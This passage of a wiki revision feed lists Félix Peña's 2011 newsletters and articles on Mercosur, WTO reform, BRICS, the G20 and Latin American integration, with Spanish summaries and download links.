El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===A la hora de integrar naciones no existe GPS===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 9 de Noviembre de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-11-09-a-la-hora-de-integrar-naciones-no-existe-gps Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Integración regional e inserción internacional de América Latina en un mundo de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Septiembre de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-09-america-latina-mundo-multiples-opciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Aportes para un necesario debate sobre el futuro de la OMC===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 4 de Agosto 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-08-04-aportes-para-un-necesario-debate-sobre-futuro-omc Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las agendas de un Mercosur que procura actualizarse===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-agendas-de-un-mercosur-que-procura-actualizarse Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2121</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2121"/>
		<updated>2011-12-05T20:43:04Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL FIN DE TRES CICLOS HISTÓRICOS LARGOS: ¿Telón de fondo de dilemas en la construcción de espacios regionales?===&lt;br /&gt;
&lt;br /&gt;
Noviembre 2011&lt;br /&gt;
&lt;br /&gt;
Los cambios estructurales que se están observando en el plano internacional, pueden estar reflejando el fin simultáneo de tres ciclos históricos largos. Ellos han incidido en las relaciones internacionales durante los últimos siglos.&lt;br /&gt;
&lt;br /&gt;
Uno es el iniciado hace quinientos años cuando Europa comienza a ocupar el centro del escenario mundial, que se desplaza al promediar el siglo pasado a los Estados Unidos. Es un ciclo largo centrado en Occidente. El otro es el iniciado con la Revolución Industrial a finales del siglo XVIII que dio lugar, entre otros muchos efectos, a la divergencia de trayectorias económicas entre el centro y la periferia. Y el tercero es el iniciado a mitad del siglo XVII con la Paz de Westfalia, durante el cual surgen diversas modalidades de conciertos de naciones con capacidad de preservar un determinado orden internacional.&lt;br /&gt;
&lt;br /&gt;
Los cambios estructurales son hoy un telón de fondo a tener presente en el análisis de las turbulencias que sacuden al espacio regional europeo. Expresan el fin de una época en que tanto Europa como los Estados Unidos han sido el centro principal en el escenario mundial. Pero también están detrás de los dilemas existenciales y metodológicos que se observan en otros espacios geográficos regionales en los que coexisten naciones soberanas que pueden optar, en sus relaciones recíprocas, por el camino de la fragmentación o por el de la articulación. Incluye al espacio geográfico sudamericano o al más amplio -y a veces difícil de definir- que es el de América Latina y el Caribe.&lt;br /&gt;
&lt;br /&gt;
La construcción de una Europa unida, por mucho tiempo visualizada como una referencia por otras regiones, ha entrado ahora en una fase de incertidumbres y de grandes dilemas. Incertidumbres con respecto al futuro de su modelo económico y social, sustento de un modo de vida y de cada uno de los diversos sistemas políticos nacionales. Dilemas en cuanto a si se puede continuar y en su caso cómo, la construcción de un espacio integrado que presenta éxitos y también visibles falencias.&lt;br /&gt;
&lt;br /&gt;
Es temprano aún para hacer un pronóstico sobre el futuro de la integración europea. Su pasado genera la expectativa de que Europa sabrá reinventarse. En todo caso, no es ésta una cuestión indiferente para los países del Mercosur teniendo en cuenta, entre otros factores, la negociación en curso de un acuerdo interregional que sea atractivo y original.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-11-fin-tres-ciclos-historicos-largos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EROSIÓN DE LAS DISCIPLINAS COLECTIVAS MULTILATERALES: ¿Una resultante de la falta de adaptación del sistema OMC a las nuevas realidades?===&lt;br /&gt;
&lt;br /&gt;
Octubre 2011&lt;br /&gt;
&lt;br /&gt;
La capacidad de adaptación a nuevas realidades que inciden sobre sus objetivos, funciones y razones de existencia, es una de las condiciones para la vigencia, eficacia y legitimidad social de un régimen internacional institucionalizado, sea éste de alcance global o regional. Implica la oportuna adecuación de sus reglas, instrumentos y procesos de producción normativa, a los continuos cambios que se van produciendo en el contexto en el que ellas operan y, en especial, en la distribución de poder entre los países que son parte del respectivo sistema.&lt;br /&gt;
&lt;br /&gt;
Algunas tendencias que se están observando hacia un relajamiento de las disciplinas colectivas que resultan de las reglas pactadas en la OMC -y que en su mayoría provienen del período del GATT- le dan actualidad a la cuestión de la adaptación del sistema en su conjunto a las nuevas realidades internacionales.&lt;br /&gt;
&lt;br /&gt;
Tales tendencias son, en primer lugar, las de modalidades novedosas de proteccionismo que surgen por no encontrarse en las reglas del sistema el sustento para lo que se considera una necesaria defensa de intereses nacionales y, en segundo lugar, la de la una creciente proliferación de acuerdos comerciales preferenciales que pueden implicar en la práctica la erosión del principio de no discriminación que, se sabe, ha sido siempre considerado como vertebral al sistema multilateral global del comercio internacional, o que pueden acentuar una peligrosa fragmentación del sistema de comercio mundial, especialmente por sus contenidos &amp;quot;OMC plus&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
La Octava Conferencia Ministerial a realizarse en diciembre próximo en Ginebra brindaría una oportunidad para poner de manifiesto la existencia de voluntad y capacidad de los países miembros para adaptar la OMC a nuevas realidades mundiales que están emergiendo en forma cada vez más evidentes. Dado el escepticismo que parece predominar hoy sobre sus resultados, quizás sería un paso adelante el que la Conferencia, al menos, permita instalar el inicio de un proceso gradual orientado a encarar algunas de las cuestiones más relevantes que podrían producir una erosión sistémica de alcance impredecible.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-10-falta-de-adaptacion-sistema-omc-nuevas-realidades Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===ALADI, UNASUR Y EL MERCOSUR: ¿Ejes de la construcción institucional de una región que enfrenta sus desafíos?===&lt;br /&gt;
&lt;br /&gt;
Septiembre 2011&lt;br /&gt;
&lt;br /&gt;
Colocar las instituciones regionales en la onda de la nueva realidad mundial y de los desafíos que plantea es una prioridad para los países sudamericanos y para sus otros socios latinoamericanos. En tal perspectiva cabe interrogarse sobre el papel que pueden desempeñar las instituciones regionales que ya existen, y a las que pertenecen la Argentina y sus socios sudamericanos. Especialmente si es que ellas logran trabajar en forma articulada en el plano del diagnóstico y de propuestas concretas para la acción.&lt;br /&gt;
&lt;br /&gt;
Tres instituciones regionales que hoy existen pueden destacarse al respecto. No son las únicas. Pero son las que, por sus ámbitos de acción, más potencial tienen para trabajar en forma articulada. Son la ALADI, la UNASUR y el Mercosur. Son instituciones regionales que tienen objetivos, funciones, alcances geográficos e incluso historias diferentes. Pero son complementarias. Pueden potenciarse mutuamente. Hechos recientes parecen reflejar la intención de iniciar una nueva era de estas tres instituciones regionales.&lt;br /&gt;
&lt;br /&gt;
Se percibe voluntad política de coordinar a los países de la región en sus estrategias para navegar la nueva realidad mundial, enfrentando sus desafíos y aprovechando sus oportunidades. Esas tres instituciones tienen un papel destacado a cumplir al respecto. Una articulación en sus actividades, aprovechando la reciente designación a su frente de personalidades con fuerte experiencia política, permitiría potenciar los servicios que ellas pueden prestar a sus países miembros.&lt;br /&gt;
&lt;br /&gt;
Circunstancias externas que plantean claras necesidades de acción concertada entre países de la región. Instituciones regionales que existen y pueden ser utilizadas. Personalidades políticas de amplia experiencia a cargo de ellas. Diagnósticos elaborados por instituciones de prestigio. Todo indica entonces que están reunidos los elementos necesarios para actuar con eficacia.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-09-aladi-unasur-mercosur-construccion-institucional-de-una-region Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
